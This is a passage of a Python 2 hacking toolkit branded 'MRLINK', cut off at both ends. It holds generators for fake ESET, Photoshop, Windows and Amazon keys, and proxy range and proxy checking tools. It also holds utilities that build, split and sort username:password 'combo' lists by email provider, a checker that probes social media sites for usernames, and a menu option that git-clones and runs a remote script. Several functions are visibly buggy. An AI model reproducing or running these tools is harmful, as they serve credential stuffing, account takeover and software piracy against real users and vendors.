"%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : meliodas = string.ascii_letters + string.digits meliodas1 = ''.join(choice(meliodas) for _ in range(4)) ban = string.ascii_letters + string.digits ban1 = ''.join(choice(ban) for _ in range(5)) king = string.ascii_letters + string.digits king1 = ''.join(choice(king) for _ in range(5)) eskanor = string.ascii_letters + string.digits eskanor1 = ''.join(choice(eskanor) for _ in range(5)) gothar = string.ascii_letters + string.digits gothar1 = ''.join(choice(gothar) for _ in range(2)) nanatsu = '8MEH-R'+meliodas1.upper()+'-'+ban1.upper()+'-'+king1.upper()+'-'+eskanor1.upper()+'-'+gothar1.upper()+'MBR-ACED' print movv,az+1,")",nanatsu," by MRLINK" save = open("results/keys/avgantiv.txt", 'a') save.write(nanatsu + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except: pass def esetss(self) : print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Eset SmartSec. Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x {r}[{b}01{r}]{y} Keys {r}[{b}02{r}]{y} Accounts {r}[{b}69{r}]{y} Back """.format(r=la7mar,b=lazra9,y=lasfar,re=ramadi) psyco=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) if psyco in ['01','1']: print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : meliodas = string.ascii_letters + string.digits meliodas1 = ''.join(choice(meliodas) for _ in range(5)) ban = string.ascii_letters + string.digits ban1 = ''.join(choice(ban) for _ in range(5)) king = string.ascii_letters + string.digits king1 = ''.join(choice(king) for _ in range(5)) eskanor = string.ascii_letters + string.digits eskanor1 = ''.join(choice(eskanor) for _ in range(5)) gothar = string.ascii_letters + string.digits gothar1 = ''.join(choice(gothar) for _ in range(5)) nanatsu = meliodas1.upper()+'-'+ban1.upper()+'-'+eskanor1.upper()+'-'+king1.upper()+'-'+gothar1.upper() print movv,az+1,")",nanatsu," by MRLINK" save = open("results/keys/esetsskeys.txt", 'a') save.write(nanatsu + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass elif psyco in ['02','2']: print "%s[%s+%s] Enter Number Accounts %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9)) try: for az in range(int(zz)) : nbadelelrapx99 = ''.join(choice(string.digits) for _ in range(10)) mazelbekry = string.ascii_letters + string.digits mazelbekryx99 = ''.join(choice(string.digits) for _ in range(10)) nhabettitle = 'UserNaMe : EVA-'+nbadelelrapx99+'\nPassword: '+mazelbekryx99.lower()+'\n-----------------------\nGenerated By MRLINKERRORSYSTEM\n\n ' print movv,az+1,")",nhabettitle save = open("results/keys/esetssup.txt", 'a') save.write(nhabettitle + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except: pass else : zeroeye() def photoshop(self): print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} PhotoShop CS6 Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try: for az in range(int(zz)) : meliodas = string.digits meliodas1 = ''.join(choice(meliodas) for _ in range(5)) ban = string.digits ban1 = ''.join(choice(ban) for _ in range(5)) king = string.digits king1 = ''.join(choice(king) for _ in range(5)) eskanor = string.ascii_letters + string.digits eskanor1 = ''.join(choice(eskanor) for _ in range(5)) gothar = string.digits gothar1 = ''.join(choice(gothar) for _ in range(5)) nanatsu= '1330'+'-'+meliodas1+'-'+ban1+'-'+king1+'-'+eskanor1+'-'+gothar1 print movv,az+1,")",nanatsu,"\n------------By MRLINKERRORSYSTEM---------------\n" save = open("results/keys/cs6.txt", 'a') save.write(nanatsu + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except: pass def winkeyz(self): print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Windows Generator {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try: for az in range(int(zz)) : meliodas = string.ascii_letters + string.digits meliodas1 = ''.join(choice(meliodas) for _ in range(5)) ban = string.ascii_letters + string.digits ban1 = ''.join(choice(ban) for _ in range(5)) king = string.ascii_letters + string.digits king1 = ''.join(choice(king) for _ in range(5)) eskanor = string.ascii_letters + string.digits eskanor1 = ''.join(choice(eskanor) for _ in range(5)) gothar = string.ascii_letters + string.digits gothar1 = ''.join(choice(gothar) for _ in range(5)) nanatsu= meliodas1.upper()+'-'+ban1.upper()+'-'+king1.upper()+'-'+eskanor1.upper()+'-'+gothar1.upper() print movv,az+1,")",nanatsu,"\n------------By MRLINKERRORSYSTEM---------------\n" save = open("results/keys/win.txt", 'a') save.write(nanatsu + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except: pass def amazon(self): print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Amazon Generator {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) print "%s[%s+%s] Enter Number Keys %s"%(la7mar,la5dhar,la7mar,lazra9) zz=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) try : for az in range(int(zz)) : urname = string.ascii_letters + string.digits urname1 = ''.join(choice(urname) for _ in range(4)) taki = string.ascii_letters + string.digits taki2 = ''.join(choice(taki) for _ in range(6)) metsuha = string.ascii_letters + string.digits metsuha3 = ''.join(choice(metsuha) for _ in range(5)) mark = urname1.upper() +('-')+ taki2.upper() +('-')+ metsuha3.upper() print movv,az+1,")",mark," by MRLINK" save = open("results/keys/amazon.txt", 'a') save.write(mark + '\n') so=raw_input("%sContinue ? [%sY/N(yes/No)%s] >%s "%(la7mar,la5dhar,la7mar,lazra9)) if so =='y' or so =='Y': zeroeye() else: exit() except : pass class roxycheck(object): def __init__(self): if not os.path.isdir('results/iproxy'): os.mkdir('results/iproxy') IpList = raw_input("%s[%s+%s] Input IP List [ip:port]: %s"%(la7mar,la5dhar,la7mar,lazra9)) try: file=open(IpList,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,zzzz,labyadh) thread = [] for x in file: if not re.match("[0-9]{1,3}\d.[0-9]{1,3}\d.[0-9]{1,3}\d.[0-9]{1,3}\d",x):pass t = threading.Thread(target=self.CheckIP, args=(x, '')) t.start() thread.append(t) time.sleep(0.05) for j in thread: j.join() Main() def CheckIP(self, Proxy, x): try: Got = requests.get('http://httpbin.org/html', proxies={'http': Proxy}, timeout=5) if 'Herman Melville - Moby-Dick' in Got.text: print(la5dhar+' Valid :'+str(Proxy)) with open('results/iproxy/validips.txt', 'a') as xX: xX.write(Proxy + '\n') except requests.Timeout: print('%s Timeout! : '%la7mar + str(Proxy)) except requests.ConnectionError: print('%s Dead IP! : '%la7mar + str(Proxy)) ## class ghrab(object): def __init__(self): if not os.path.isdir('results/iproxy'): os.mkdir('results/iproxy') StartIP = raw_input('%s[%s+%s] Start IP: %s'%(la7mar,la5dhar,la7mar,lazra9)) while not re.match('[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d',StartIP): StartIP = raw_input('%s[%s+%s] Start IP: %s'%(la7mar,la5dhar,la7mar,lazra9)) ENDIP = raw_input('%s[%s+%s] End IP: %s'%(la7mar,la5dhar,la7mar,lazra9)) while not re.match('[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d',ENDIP): ENDIP = raw_input('%s[%s+%s] End IP: %s'%(la7mar,la5dhar,la7mar,lazra9)) PRoxYPort = raw_input('%s[%s+%s] Enter Proxy port [8080,80]: %s'%(la7mar,la5dhar,la7mar,lazra9)) while not re.match('[0-9]{1,5}\d',PRoxYPort): PRoxYPort = raw_input('%s[%s+%s] Enter Proxy port [8080,80]: %s'%(la7mar,la5dhar,la7mar,lazra9)) ip_range = self.Generate_IP(StartIP, ENDIP) xXx=0 for ip in ip_range: xXx=xXx+1 with open('results/iproxy/Ipgenerated.txt', 'a') as xX: xX.write(str(ip) + ':' + str(PRoxYPort) + '\n') print "%s%s Ip Saved In 'results/iproxy/Ipgenerated.txt'"%(la5dhar,xXx) heroken() def Generate_IP(self, start_ip, end_ip): Start = list(map(int, start_ip.split("."))) end = list(map(int, end_ip.split("."))) rec = Start ip_range = [] ip_range.append(start_ip) while rec != end: Start[3] += 1 for i in (3, 2, 1): if rec[i] == 256: rec[i] = 0 rec[i - 1] += 1 ip_range.append(".".join(map(str, rec))) return ip_range ## class transformator(object): def __init__(self): if not os.path.isdir('results/combos'): os.mkdir('results/combos') self.logo() if reponse in ['01','1']: self.kamel() elif reponse in ['02','2']: self.abda() elif reponse=='69': heroken() def logo(self): global reponse print""" {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} ~Transformator~ {re}X X{y} User <=> Email {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x x{r}XXXXXXXXXXXXXXXXXXXXXXXX{re}x X{r} ({b} 01 {r}){y} Email > User {re}X X{r} ({b} 02 {r}){y} User > Email {re}X X{r} ({b} 69 {r}){y} Back {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,g=la5dhar,y=lasfar,re=ramadi) reponse=raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9)) def kamel(self): linklistmail=[] print """ {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Email > User {re}X {re}x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,y=lasfar,re=ramadi) linklistmail=raw_input("%s[%s+%s] Enter List : %s"%(la7mar,la5dhar,la7mar,lazra9)) yoo=[] nb=0 with open (linklistmail,'r') as yoo: yoo=yoo.read().splitlines() for y2o in yoo: if '@' not in str(y2o): pass else: en = y2o.index(str('@')) en = y2o[0:en] fr = y2o.index(str(':')) ded = y2o[fr:] mod=en+ded nb+=1 with open('results/combos/Mod2_%s'%(linklistmail),'a') as modlis: modlis.write(mod.strip() + '\n') print "%s %s Usernames Saved In 'results/combos/Mod2_%s' \033[00m"%(la5dhar,nb,linklistmail) def abda(self): print """ {re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} User > Email {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x {r}[{b}1{r}]{y} Add Random E-mails {r}[{b}2{r}]{y} Single Domain E-mail """.format(r=la7mar,b=lazra9,y=lasfar,re=ramadi) maill=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) linklistmail=raw_input("%s[%s+%s] Enter List : %s"%(la7mar,la5dhar,la7mar,lazra9)) if maill=='1': yoo=[] nb=0 with open (linklistmail,'r') as yoo: yoo=yoo.read().splitlines() for y2o in yoo: if '@' in str(y2o): pass elif ':' in str(y2o): fr = y2o.index(str(':')) ar = y2o[0:fr] ded = y2o[fr:] mod=str(ar)+choice(listmail) mod=mod+ded with open('results/combos/Mod_%s'%(linklistmail),'a') as modlis: modlis.write(mod.strip() + '\n') else: mod=str(ar)+str(y2o) mod=mod+ded with open('results/combos/Mod_%s'%(linklistmail),'a') as modlis: modlis.write(mod.strip() + '\n') elif maill=='2': soo=raw_input("%s[%s+%s] Enter Email [Like > @gmail.com] : %s"%(la7mar,la5dhar,la7mar,lazra9)) yoo=[] with open (linklistmail,'r') as yoo: yoo=yoo.read().splitlines() for y2o in yoo: if '@' in str(y2o): pass elif ':' in str(y2o): fr = y2o.index(str(':')) ar = y2o[0:fr] ded = y2o[fr:] mod=str(ar)+str(soo) mod=mod+ded nb+=1 with open('results/combos/Mod_%s'%(linklistmail),'a') as modlis: modlis.write(mod.strip() + '\n') else: mod=str(ar)+str(y2o) mod=mod+ded nb+=1 with open('results/combos/Mod_%s'%(linklistmail),'a') as modlis: modlis.write(mod.strip() + '\n') print "%s %s Emails Saved In 'results/combos/Mod2_%s' \033[00m"%(la5dhar,nb,linklistmail) else:rakez() ## class Saama(object): def __init__(self): if not os.path.isdir('results/combos'): os.mkdir('results/combos') self.yo() rre=[] marlin=raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9)) if marlin in ['01','1']: self.combo() elif marlin in ['02','2']: self.proxy() elif marlin in ['03','3']: self.zouj() elif marlin in ['04','4']: self.email() elif marlin =='69': heroken() def yo(self): print """{re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} Multi Extractor {re}X X{y} Extact From Files : {re}X X{y} Should be .txt Or .html.. {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x {r}({b}01{r}){y} Combo {r}({b}02{r}){y} Proxy {r}({b}03{r}){y} Proxy&Combo {r}({b}04{r}){y} Emails {r}({b}69{r}){y} Back """.format(r=la7mar,b=lazra9,y=lasfar,re=ramadi) def combo(self): nb=0 li=raw_input("%s[%s+%s] Enter File : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: lines=open(li,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,li,labyadh) fun=open('results/combos/Combo_(%s).txt'%li,'a') rr=re.findall('[a-zA-Z]\w{3,14}:[a-zA-Z]\w{3,14}|[\w\.=-]+@[\w\.-]+\.[\w]{2,3}:[a-zA-Z]\w{3,14}',str(lines)) for i in rr: i=i.replace('\n','') fun.write(str(i)+'\n') nb+=1 print "%s Combo %s Saved In 'results/combos/Combo_(%s).txt' \033[00m"%(la5dhar,nb,li) def proxy(self): nb=0 li=raw_input("%s[%s+%s] Enter File : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: lines=open(li,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,li,labyadh) sock=0;http=0 fun=open('results/combos/HTTP_(%s).txt'%li,'a') fun2=open('results/combos/SOCK4-5_(%s).txt'%li,'a') rr=re.findall('[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d:[0-9]\d{1,5}',str(lines)) for i in rr: ded=i.split(':') if '80' in str(ded) or '8080' in str(ded): i=i.replace('\n','') fun.write(str(i)+'\n') http=http+1 elif len(str(ded))==5 and (ded.isdigit()) : i=i.replace('\n','') fun2.write(str(i)+'\n') sock=sock+1 print " %s[%s!%s]%s %s Proxy "%(la7mar,la5dhar,la7mar,la5dhar,(sock+http)) print " %s[%s+%s]%s %s HTTP "%(la7mar,lazra9,la7mar,la5dhar,http) print " %s[%s+%s]%s %s SOCK4/5 "%(la7mar,lazra9,la7mar,la5dhar,sock) print "%s~~> Saved In 'results/combos/' \033[00m"%(la5dhar,li) def zouj(self): li=raw_input("%s[%s+%s] Enter File : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: lines=open(li,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,li,labyadh) nb=0;sock=0;http=0 fun=open('results/combos/HTTP_(%s).txt'%li,'a') fun2=open('results/combos/SOCK4-5_(%s).txt'%li,'a') fun3=open('results/combos/Combo_(%s).txt'%li,'a') for line in lines: rr=re.findall('[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d.[0-9]{0,3}\d:[0-9]\d{1,5}',lines) for i in rr: ded=i.split(':') if '80' in str(ded) or '8080' in str(ded): i=i.replace('\n','') fun.write(str(i)+'\n') http=http+1 elif len(str(ded))==5 and (ded.isdigit()) : i=i.replace('\n','') fun2.write(str(i)+'\n') sock=sock+1 rre=re.findall('[a-zA-Z]\w{3,14}:[a-zA-Z]\w{3,14}|[\w\.=-]+@[\w\.-]+\.[\w]{2,3}:[a-zA-Z]\w{3,14}',str(lines)) for i in rre: i=i.replace('\n','') fun.write(str(i)+'\n') nb+=1 print " %s[%s!%s]%s %s Combos "%(la7mar,la5dhar,la7mar,la5dhar,nb) print " %s[%s!%s]%s %s Proxy "%(la7mar,la5dhar,la7mar,la5dhar,(sock+http)) print " %s[%s+%s]%s %s HTTP "%(la7mar,lazra9,la7mar,la5dhar,http) print " %s[%s+%s]%s %s SOCK "%(la7mar,lazra9,la7mar,la5dhar,sock) print "%s~~> Saved In 'results/combos/' \033[00m"%(la5dhar) def email(self): nb=0 li=raw_input("%s[%s+%s] Enter File : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: lines=open(li,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,li,labyadh) fun=open('results/combos/emails(%s).txt'%li,'a') for line in lines: rre=re.findall('[\w\.=-]+@[\w\.-]+\.[\w]{2,3}',str(lines)) for i in rre: i=i.replace('\n','') fun.write(str(i)+'\n') nb+=1 print "%s Email %s Saved In 'results/combos/emails(%s).txt' \033[00m"%(la5dhar,nb,li) ## class skykeyz(): def __init__(self): if not os.path.isdir('results/keywords'): os.mkdir('results/keywords') print """ {re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} {r}({b} 01 {r}){y} Make keywords From self {re}X X{y} {r}({b} 02 {r}){y} random keywords {re}X X{y} {r}({b} 69 {r}){y} Back {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,y=lasfar,re=ramadi) dream=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) if dream in ['01','1']: self.mello() elif dream in ['02','2']: self.keyw() elif dream =='69': heroken() def keyw(self): print """ {re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x X{y} {r}({b} 01 {r}){y} Social {re}X X{y} {r}({b} 02 {r}){y} Gaming {re}X X{y} {r}({b} 69 {r}){y} Back {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,y=lasfar,re=ramadi) sebsi=raw_input('%sMRLINK%s>%s'%(la7mar,ramadi,lazra9)) if sebsi =='1': print "Your results Will Be Saved " for x in social: for y in geek3: side = "%s %s"%(x,y) for z in geek4: dark = "%s %s"%(side,z) darkside=open('results/keywords/keycom1.txt','a') darkside.write(dark+'\n') if sebsi =='2': print "Your results Will Be Saved " for x in game: for y in geek1: side= "%s %s"%(x,y) for z in geek2: dark = "%s %s"%(side,z) darkside=open('results/keywords/keycom2.txt','a') darkside.write(dark+'\n') def mello(self): fly =raw_input("%s[%s+%s] First Word > %s"%(la7mar,la5dhar,la7mar,lazra9)) fly1=raw_input("%s[%s+%s] Enter Targets Of Words > %s"%(la7mar,la5dhar,la7mar,lazra9)) try: lovu=open(fly1,'r').read().splitlines() except:print "%s{!} %s Not Founded %s"%(la7mar,fly1,labyadh) for z in lovu: side = "%s %s"%(side,z) dark = side.strip() darkside=open('results/keywords/makey.txt','a') darkside.write(dark+'\n') ## class allforone(object): def __init__(self): os.system('clear') if not os.path.isdir('results/SChcked'): os.mkdir('results/SChcked') else: pass self.logo() try: ignite=raw_input("%s[%s+%s] Enter list : %s"%(la7mar,la5dhar,la7mar,lazra9)) except : print "%s{!} %s Not Founded %s"%(la7mar,li,labyadh) try: self.oneforall(ignite) except : heroken() def fight(self, x,user): print " %s[%s+%s]%s %s Founded !! "%(la7mar,lazra9,la7mar,la5dhar,x) with open('results/SChcked/SocialLinks.txt','a') as yoo: yoo.write("%s ~~> Found\n"%(x)) def peace(self, user): print " %s[%s!%s]%s %s not In Any SM "%(lazra9,la7mar,lazra9,la5dhar,str(user)) def oneforall(self,ignite): with open(ignite,'r') as dark: arigato=dark.read().splitlines() x=open('results/SChcked/SocialLinks.txt','a') for user in arigato: if ':' in str(user) or '@' in str(user): pass Bg=0 x.write("User : %s\n"%(user)) print "%s[%s?%s]%s %s ... "%(la7mar,lazra9,la7mar,la5dhar,str(user)) try: instagrom = requests.get('https://instagram.com/' + str(user), timeout=5) if instagrom.status_code == 200: self.fight('Instagram',user) Bg=1 except: pass try: telegrom = requests.get('https://t.me/' + str(user), timeout=5) if 'tgme_username_link' not in telegrom.text: self.fight('Telegram',user) Bg=1 except: pass try: faceomek = requests.get('https://facebook.com/' + str(user), timeout=5) if faceomek.status_code == 200: self.fight('Facebook',user) Bg=1 except: pass try: youtayb = requests.get('https://youtube.com/c/' + str(user), timeout=5) if youtayb.status_code == 200: self.fight('YoutubeChannel',user) Bg=1 except: pass try: twittor = requests.get('https://twitter.com/' + str(user), timeout=5) if twiitor.status_code == 200: self.fight('Twitter',user) Bg=1 except: pass try: sondcloud = requests.get('https://soundcloud.com/' + str(user), timeout=3) if sondcloud.status_code == 200: self.fight('Soundcloud',user) Bg=1 except: pass try: sarahahah = requests.get('https://%s.sarahah.com/'%str(user), timeout=2) if sarahahah.status_code == 200: self.fight('Sarahah.com',user) Bg=1 except: pass try: sarahaha2 = requests.get('http://%s.saraha.online/'%str(user), timeout=5) if sarahaha2.status_code == 200: self.fight('Saraha.online',user) Bg=1 except: pass if Bg==0: self.peace(user) x.write("Result: 0\n") def logo(self): print """{re} x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x x{b}XXX {g}A{c}ll{g}F{c}or{g}O{c}ne {g}C{c}hecker {b}XXX{re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}X X{y} Check any username {re}X X{y} registred in SocialMedia {re}X X{y} Avaible : {re}X X{re} ~{r}> {y}Instagram {re}X X{re} ~{r}> {y}Facebook {re}X X{re} ~{r}> {y}Twitter {re}X X{re} ~{r}> {y}Youtube Channel {re}X X{re} ~{r}> {y}Telegram {re}X X{re} ~{r}> {y}Sarahah.com {re}X X{re} ~{r}> {y}Saraha.online {re}X X{r} [{y}ctrl-c: Back{r}] {re}X x{r}XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX{re}x """.format(r=la7mar,b=lazra9,g=la5dhar,y=lasfar,re=ramadi,m=movv,c=cyan,bl=blid) ## class heroken(object): def __init__(self): self.logo() msf=str(raw_input('%sm4rk%s>%s'%(la7mar,ramadi,lazra9))) if msf in ['01','1']: self.comed() rakez() elif msf in ['02','2']: self.rm_spc() self.rm_dup() rakez() elif msf in ['03','3']: self.extrer() rakez() elif msf in ['04','4']: self.filtmail() rakez() elif msf in ['05','5']: ghrab() rakez() elif msf in ['06','6']: roxycheck() rakez() elif msf in ['07','7']: Saama() rakez() elif msf in ['08','8']: zeroeye() rakez() elif msf in ['09','9']: if not os.path.isdir('xsmash'): if os.name =='nt': print """Yo Bro !! U Have WinShit's Os .. If U use this Tool : \r1) Install Python2.7 From https://www.python.org/downloads/ 2) Go To https://github.com/m4rktn/xsmash And Download In ".zip" Format 3) Extract xsmash-master.zip 4) Just Click In Xsmash.py \r Ps : Go To Youtube And See How To run Python 2.7y""" else: os.system('git clone https://github.com/m4rktn/xsmash && cd xsmash && python2 xsmash.py') else: os.system('cd xsmash && python2 xsmash.py') elif msf =='10': skykeyz() rakez() elif msf=='11': self.nojetsu() rakez() elif msf=='12': ccSama() rakez() elif msf=='13': allforone() rakez() elif msf=='14': transformator() rakez() elif msf=='15': self.tedit() def comed(self): nb=0 try: user1 =raw_input("%s[%s+%s] Enter userlist : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: zack=open(user1,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,user1,labyadh) pass2 =raw_input("%s[%s+%s] Enter passlist : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: zack2=open(pass2,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,pass2,labyadh) except: rakez() try: for ii,z in enumerate(zack): zz = z+(':')+zack2[ii] zz0=open('results/combos/combo.txt','a') zz0.write(zz+'\n') nb+=1 print "%sYour List(%s Lines) Saved In 'results/combos' "%(la5dhar,nb) except: pass def rm_spc(self): if not os.path.isdir('results/combos'): os.mkdir('results/combos') zaw =raw_input("%s[%s+%s] Enter list : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: comboo=open(zaw,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,zaw,labyadh) for z in comboo: mark ="".join(re.split("\s+",str(z), flags=re.UNICODE)) zz0=open('results/combos/comboa.txt','a') zz0.write(mark +'\n') def rm_dup(self): nb_rm=0 with open('results/combos/comboa.txt','r') as result: uniqlines = set(result.readlines()) with open('results/combos/_combo.txt', 'a') as comboa: comboa.writelines(set(uniqlines)) os.remove('results/combos/comboa.txt') combo2o=[] with open('results/combos/_combo.txt') as combo2o: for i in combo2o: nb_rm=nb_rm+1 print "%sYour List(%s Lines) Saved In 'results/combos/_combo.txt' "%(la5dhar,nb_rm) def extrer(self): nb=0 if not os.path.isdir('results/combos'): os.mkdir('results/combos') user1 =raw_input("%s[%s+%s] Enter List Combo : %s"%(la7mar,la5dhar,la7mar,lazra9)) try: zack=open(user1,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,user1,labyadh) for z in zack: fr = z.index(':') ar = z[0:fr] ded = z[fr:] de = ded[1:] arlis=open('results/combos/emails.txt','a') arlis.write(ar.strip() + '\n') delis=open('results/combos/pass.txt','a') delis.write(de.strip() + '\n') nb+=1 print "%sYour List(%s Lines) Saved In 'results/combos' "%(la5dhar,nb) def fitromailon(self, x, y): if x!=0 : print " %s[%s+%s]%s %s : %s"%(la7mar,lazra9,la7mar,la5dhar,y,x) def filtmail(self): nb=0 notmail=0 Yahoo=0 Mailru=0 inboxru=0 bkru=0 hotmail=0 live=0 outlook=0 seznamcz=0 gmail=0 orangefr=0 yandex=0 gmx=0 aol=0 freefr=0 icloud=0 rambler=0 citromailhu=0 cncom=0 Freenetde=0 freemailhu=0 abv=0 tonlinede=0 op=0 onet=0 vp=0 other=0 burn =str(raw_input("%s[%s+%s] Enter list : %s"%(la7mar,la5dhar,la7mar,lazra9))) try: file=open(burn,'r').read().splitlines() except: print "%s{!} %s Not Founded %s"%(la7mar,burn,labyadh) if not os.path.isdir('results/filtres'): os.mkdir('results/filtres') for fade in file: fade=fade.lower() nb+=1 try: if not re.match("[\w\.=-]+@[\w\.-]+\.[\w]{2,3}",fade): notmail+=1 elif '@yahoo.' in str(fade): Yahoo+=1 zzz=open('results/filtres/yahoo.txt','a') zzz.write(fade+'\n') elif '@mail.ru' in str(fade): Mailru+=1 elif '@inbox.ru' in str(fade): inboxru+=1 zzz=open('results/filtres/inbox.ru.txt','a') zzz.write(fade+'\n') elif '@bk.ru' in str(fade): bkru+=1 zzz=open('results/filtres/bk.ru.txt','a') zzz.write(fade+'\n') elif '@hotmail' in str(fade): hotmail+=1 zzz=open('results/filtres/hotmail.txt','a') zzz.write(fade+'\n') elif '@live' in str(fade): live+=1 zzz=open('results/filtres/live.txt','a') zzz.write(fade+'\n') elif '@outlook' in str(fade): outlook+=1 zzz=open('results/filtres/outlook.txt','a') zzz.write(fade+'\n') elif '@seznam.cz' in str(fade): seznamcz+=1 zzz=open('results/filtres/seznam.cz.txt','a') zzz.write(fade+'\n') elif '@gmail.com' in str(fade): gmail+=1 zzz=open('results/filtres/gmail.com.txt','a') zzz.write(fade+'\n') elif '@orange.' in str(fade): orangefr+=1 zzz=open('results/filtres/orange.fr.txt','a') zzz.write(fade+'\n') elif '@yandex.' in str(fade): yandex=yandex+1 zzz=open('results/filtres/yandex.txt','a') zzz.write(fade+'\n') elif '@gmx.' in str(fade): gmx+=1 zzz=open('results/filtres/gmx.txt','a') zzz.write(fade+'\n') elif '@aol.' in str(fade): aol+=1 zzz=open('results/filtres/aol.txt','a') zzz.write(fade+'\n') elif '@free.fr' in str(fade): freefr+=1 zzz=open('results/filtres/free.fr.txt','a') zzz.write(fade+'\n') elif '@rambler.' in str(fade): rambler+=1 zzz=open('results/filtres/rambler.txt','a') zzz.write(fade+'\n') elif '@citromail.hu' in str(fade): citromailhu+=1 zzz=open('results/filtres/citromail.txt','a') zzz.write(fade+'\n') elif '@21cn.com' in str(fade): cncom+=1 zzz=open('results/filtres/21cn.com.txt','a') zzz.write(fade+'\n') elif '@freenet.de' in str(fade): Freenetde+=1 zzz=open('results/filtres/freenet.de.txt','a') zzz.write(fade+'\n') elif '@freemail.hu' in str(fade): freemailhu+=1 zzz=open('results/filtres/freemail.hu.txt','a') zzz.write(fade+'\n') elif '@abv.bg' in str(fade): abv+=1 zzz=open('results/filtres/abv.bg.txt','a') zzz.write(fade+'\n') elif '@t-online.de' in str(fade): tonlinede+=1 zzz=open('results/filtres/t.online.txt','a') zzz.write(fade+'\n') elif '@icloud' in str(fade): icloud+=1 zzz=open('results/filtres/icloud.txt','a') zzz.write(fade+'\n') elif '@op.' in str(fade): op+=1 